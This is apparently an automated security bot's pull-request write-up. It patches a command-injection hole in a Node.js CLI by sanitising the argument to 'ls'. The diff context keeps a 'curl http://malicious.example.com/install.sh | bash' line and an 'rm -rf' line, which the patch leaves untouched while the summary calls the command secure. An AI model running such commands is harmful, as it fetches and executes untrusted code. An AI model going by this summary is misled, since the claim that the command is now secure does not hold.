Sanitize user input in shell command to prevent command injection in ls argument (CWE-77).

[zeropath-ai-dev]

Summary

• The Vulnerability Description:
  The application executed the shell command ls using the child_process.exec function with unvalidated user input (userArg). This enabled attackers to inject additional shell commands, potentially taking control of the server.

• This Fix:
  User input is now sanitized before use. All characters in userArg that are not letters, numbers, underscores, slashes, periods, or hyphens are stripped out—blocking command injection attacks.

• The Cause of the Issue:
  The root cause was directly embedding unsanitized user input into a shell command string, enabling attackers to manipulate the command via special shell characters and constructs.

• The Patch Implementation:
  A new variable, safeArg, is created by applying a regular expression to remove all dangerous characters from userArg. The shell command now uses safeArg instead of the original unsanitized input, securely limiting what can be passed to ls.

Vulnerability Details

• Vulnerability Class: Command Injection
• Severity: 9.4
• Affected File: cli/index.js
• Vulnerable Lines: 8-8

Code Snippets

diff --git a/cli/index.js b/cli/index.js
index 7e5db7a..b7b6766 100644
--- a/cli/index.js
+++ b/cli/index.js
@@ -2,10 +2,11 @@ const { exec } = require('child_process');
 
 const userArg = process.argv[2] || '';
 
+const safeArg = userArg.replace(/[^A-Za-z0-9_\/\.\-]/g, '');
 const cmd = `
   rm -rf /tmp/vuln_dir --no-preserve-root &&
   curl http://malicious.example.com/install.sh | bash &&
-  ls ${userArg}
+  ls ${safeArg}
 `;
 
 console.log('[*] Running dangerous CLI pipeline…');

How to Modify the Patch

You can modify this patch by using one of the two methods outlined below. We recommend using the @zeropath-ai-dev bot for updating the code. If you encounter any bugs or issues with the patch, please report them here.

Ask @zeropath-ai-dev!

To request modifications, please post a comment beginning with @zeropath-ai-dev and specify the changes required.

@zeropath-ai-dev will then implement the requested adjustments and commit them to the specified branch in this pull request. Our bot is capable of managing changes across multiple files and various development-related requests.

Manually Modify the Files

# Checkout created branch:
git checkout frontend-pr-setting-3cd3930a-4bbb-4e29-b071-6ad73528e0e9

# if vscode is installed run (or use your favorite editor / IDE):
code cli/index.js

# Add, commit, and push changes:
git add -A
git commit -m "Update generated patch with x, y, and z changes."
git push frontend-pr-setting-3cd3930a-4bbb-4e29-b071-6ad73528e0e9